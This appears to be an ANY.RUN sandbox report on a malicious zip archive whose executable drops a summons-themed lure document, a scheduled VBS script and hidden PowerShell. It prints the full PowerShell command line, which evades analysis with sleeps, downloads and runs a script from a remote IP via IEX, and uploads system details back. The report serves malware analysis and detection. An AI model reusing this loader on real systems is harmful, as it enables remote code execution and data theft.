File name:

13556839996.zip

Full analysis: https://app.any.run/tasks/c83efbf4-45d2-4bf9-bb6e-a6437afeccd8
Verdict: Malicious activity
Analysis date: December 13, 2023, 15:38:20
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

8451AD0E51CD53C87AB1AF4053D01231

SHA1:

96D2B4E207539B5B0AF50C5EF70E977CC0321F3F

SHA256:

4F0C5A4E24501D2688AF9A707E35CDE26BCABE1CBC7F38F8F76B0D459103F3AE

SSDEEP:

6144:/zqcSKJHo0p5hdN2WIZ4nrbBDdOnO09knd+MWxz:lSKq0TheGnHBDgO09qd+zxz

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 3452)
      • powershell.exe (PID: 3272)
      • powershell.exe (PID: 3336)
      • powershell.exe (PID: 3700)
      • powershell.exe (PID: 372)

    • Uses Task Scheduler to run other applications

      • powershell.exe (PID: 3452)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 3452)
      • powershell.exe (PID: 3272)
      • powershell.exe (PID: 3336)
      • powershell.exe (PID: 3700)
      • powershell.exe (PID: 372)

    • Changes powershell execution policy (Bypass)

      • wscript.exe (PID: 1420)
      • wscript.exe (PID: 4076)
      • wscript.exe (PID: 2500)
      • wscript.exe (PID: 3788)

  • SUSPICIOUS

    • Reads Microsoft Outlook installation path

      • d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe (PID: 2332)

    • Reads Internet Explorer settings

      • d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe (PID: 2332)

    • Reads the Internet Settings

      • d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe (PID: 2332)
      • wscript.exe (PID: 1420)
      • powershell.exe (PID: 3272)
      • powershell.exe (PID: 3336)
      • wscript.exe (PID: 4076)
      • wscript.exe (PID: 2500)
      • powershell.exe (PID: 3700)
      • wscript.exe (PID: 3788)

    • The process bypasses the loading of PowerShell profile settings

      • wscript.exe (PID: 1420)
      • wscript.exe (PID: 4076)
      • wscript.exe (PID: 2500)
      • wscript.exe (PID: 3788)

    • Found IP address in command line

      • powershell.exe (PID: 3272)
      • powershell.exe (PID: 3336)
      • powershell.exe (PID: 3700)
      • powershell.exe (PID: 372)

    • Probably download files using WebClient

      • wscript.exe (PID: 1420)
      • wscript.exe (PID: 4076)
      • wscript.exe (PID: 2500)
      • wscript.exe (PID: 3788)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 1420)
      • wscript.exe (PID: 4076)
      • wscript.exe (PID: 2500)
      • wscript.exe (PID: 3788)

    • Possibly malicious use of IEX has been detected

      • wscript.exe (PID: 1420)
      • wscript.exe (PID: 4076)
      • wscript.exe (PID: 2500)
      • wscript.exe (PID: 3788)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 1420)
      • wscript.exe (PID: 4076)
      • wscript.exe (PID: 2500)
      • wscript.exe (PID: 3788)

    • Powershell version downgrade attack

      • powershell.exe (PID: 3272)
      • powershell.exe (PID: 3452)
      • powershell.exe (PID: 3336)
      • powershell.exe (PID: 3700)
      • powershell.exe (PID: 372)

    • The process executes via Task Scheduler

      • wscript.exe (PID: 4076)
      • wscript.exe (PID: 1420)
      • wscript.exe (PID: 2500)
      • wscript.exe (PID: 3788)

    • PowerShell delay command usage (probably sleep evasion)

      • powershell.exe (PID: 3272)
      • powershell.exe (PID: 3336)
      • powershell.exe (PID: 3700)
      • powershell.exe (PID: 372)

    • Unusual connection from system programs

      • powershell.exe (PID: 3272)
      • powershell.exe (PID: 3700)
      • powershell.exe (PID: 3336)

    • Connects to unusual port

      • powershell.exe (PID: 3272)
      • powershell.exe (PID: 3336)
      • powershell.exe (PID: 3700)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 3272)
      • powershell.exe (PID: 3700)
      • powershell.exe (PID: 3336)

  • INFO

    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 2920)

    • Reads the computer name

      • d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe (PID: 2332)
      • wmpnscfg.exe (PID: 3292)

    • Reads the machine GUID from the registry

      • d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe (PID: 2332)

    • Manual execution by a user

      • powershell.exe (PID: 3452)
      • mmc.exe (PID: 900)
      • d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe (PID: 2332)
      • mmc.exe (PID: 3944)
      • wmpnscfg.exe (PID: 3292)

    • Checks supported languages

      • d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe (PID: 2332)
      • wmpnscfg.exe (PID: 3292)

    • Checks proxy server information

      • d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe (PID: 2332)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0009
ZipCompression: Deflated
ZipModifyDate: 1980:00:00 00:00:00
ZipCRC: 0xfcd30e3c
ZipCompressedSize: 203011
ZipUncompressedSize: 331935
ZipFileName: d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
63
Monitored processes
16
Malicious processes
10
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe no specs powershell.exe no specs winword.exe no specs schtasks.exe no specs mmc.exe no specs mmc.exe wscript.exe no specs powershell.exe wscript.exe no specs powershell.exe wmpnscfg.exe no specs wscript.exe no specs powershell.exe wscript.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
372"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$flm=$iik.downloaddata('http://2.59.222.98:43820/GjjdhFoGSvjiuFxH/page171/upgrade.txt');if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('http://2.59.222.98:28402/page171',$drpy);}C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
644"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\appdata\local\temp\623-6341-11.docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
900"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /sC:\Windows\System32\mmc.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Management Console
Exit code:
3221226540
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mmc.exe
c:\windows\system32\ntdll.dll
1420C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Recorded.vbs"C:\Windows\System32\wscript.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2332"C:\Users\admin\Desktop\d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe" C:\Users\admin\Desktop\d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\desktop\d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
2500C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Recorded.vbs"C:\Windows\System32\wscript.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2920"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\13556839996.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
3272"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$flm=$iik.downloaddata('http://2.59.222.98:43820/GjjdhFoGSvjiuFxH/page171/upgrade.txt');if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('http://2.59.222.98:28402/page171',$drpy);}C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3292"C:\Program Files\Windows Media Player\wmpnscfg.exe"C:\Program Files\Windows Media Player\wmpnscfg.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player Network Sharing Service Configuration Application
Exit code:
0
Version:
12.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\windows media player\wmpnscfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
3336"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$flm=$iik.downloaddata('http://2.59.222.98:43820/GjjdhFoGSvjiuFxH/page171/upgrade.txt');if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('http://2.59.222.98:28402/page171',$drpy);}C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
12 296
Read events
11 529
Write events
637
Delete events
130

Modification events

(PID) Process:(2920) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\17F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2920) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(2920) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(2920) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(2920) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2920) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2920) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2920) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(2332) d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2332) d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
Executable files
1
Suspicious files
17
Text files
3
Unknown types
1

Dropped files

PID
Process
Filename
Type
644WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR5E8A.tmp.cvr —
MD5:—
SHA256:—
2332d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6.exeC:\Users\admin\Desktop\Повiстка-623-6341-11.docx.lnklnk
MD5:EB6BF5CE7BA1FFEDE0DC9289021CA87C
SHA256:0EEC5A7373B28A991831D9BE1E30976CEB057E5B701E732372524F1A50255C72
2920WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb2920.40752\d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6executable
MD5:F708711B3C0F40E0202645136934EE1A
SHA256:D21AA84542303CA70B59B53E9DE9F092F9001F409158A9D46A5E8CE82AB60FB6
3452powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\557KU1RQTV97RV1RO389.tempbinary
MD5:CCE8887FC90E6C7A370C72F05DCA8F8D
SHA256:858A112C4232ACC5A0CC3FD31FD092BA427C9A0476A44F9875A39BCA22FEC6F7
3452powershell.exeC:\Users\Public\Libraries\Recorded.vbstext
MD5:E65DCC931827C931FD3400825B296D22
SHA256:F7EA401B053D4306E67AB510E19FB8AF4E373AB24875E1D28DD30DE8B5CCFF8C
644WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:44DB35D4E9DB5C9EF5333E85D62C95BE
SHA256:963FAF411D91B3CF417723FAC9C68917B9512D9449C618AAB8D55D75876C9323
3452powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3b52a7e4044e5014.customDestinations-msbinary
MD5:CCE8887FC90E6C7A370C72F05DCA8F8D
SHA256:858A112C4232ACC5A0CC3FD31FD092BA427C9A0476A44F9875A39BCA22FEC6F7
3452powershell.exeC:\Users\admin\appdata\local\temp\623-6341-11.docxdocument
MD5:C358AC3780653DC59BB626E049973851
SHA256:2C2FA6B9FBB6AA270BA0F49EBB361EBF7D36258E1BDFD825BC2FAEB738C487ED
3272powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5S8EU4AD7OA5ZA65ICAF.tempbinary
MD5:16F6D260068B85896C0EBB2E1B2A60D1
SHA256:6E3B1EF1FB4736A9BF18FADF8E42935CC5053478B6F403A38EFBA8500E819984
644WINWORD.EXEC:\Users\admin\appdata\local\temp\~$3-6341-11.docxbinary
MD5:A6A25469E998F27601471957568A0EB7
SHA256:33E72C82E4883DDDE0F651525AEB260058B12CAA4C62E25831756652399501AE
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
7
DNS requests
0
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3272
powershell.exe
GET
200
2.59.222.98:43820
http://2.59.222.98:43820/GjjdhFoGSvjiuFxH/page171/upgrade.txt
unknown
binary
1 b
unknown
3336
powershell.exe
GET
200
2.59.222.98:43820
http://2.59.222.98:43820/GjjdhFoGSvjiuFxH/page171/upgrade.txt
unknown
binary
1 b
unknown
3700
powershell.exe
GET
200
2.59.222.98:43820
http://2.59.222.98:43820/GjjdhFoGSvjiuFxH/page171/upgrade.txt
unknown
binary
1 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
2588
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
3272
powershell.exe
2.59.222.98:43820
—
Onehostplanet s.r.o.
UA
unknown
3336
powershell.exe
2.59.222.98:43820
—
Onehostplanet s.r.o.
UA
unknown
3700
powershell.exe
2.59.222.98:43820
—
Onehostplanet s.r.o.
UA
unknown

DNS requests

No data

Threats

Found threats are available for the paid subscriptions
3 ETPRO signatures available at the full report
Process
Message
mmc.exe
Constructor: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
OnInitialize: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
AddIcons: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
ProcessCommandLineArguments: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
Fetching Next Channel failed -259-No more data is available
mmc.exe
Failed to get ChannelConfigOwningPublisher -122-The data area passed to a system call is too small
mmc.exe
Failed to get ChannelConfigOwningPublisher -122-The data area passed to a system call is too small
mmc.exe
Getting next publisher from enum failed-259-No more data is available
mmc.exe
Failed to get ChannelConfigOwningPublisher -122-The data area passed to a system call is too small
mmc.exe
Failed to get ChannelConfigOwningPublisher -122-The data area passed to a system call is too small
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
13556839996.zip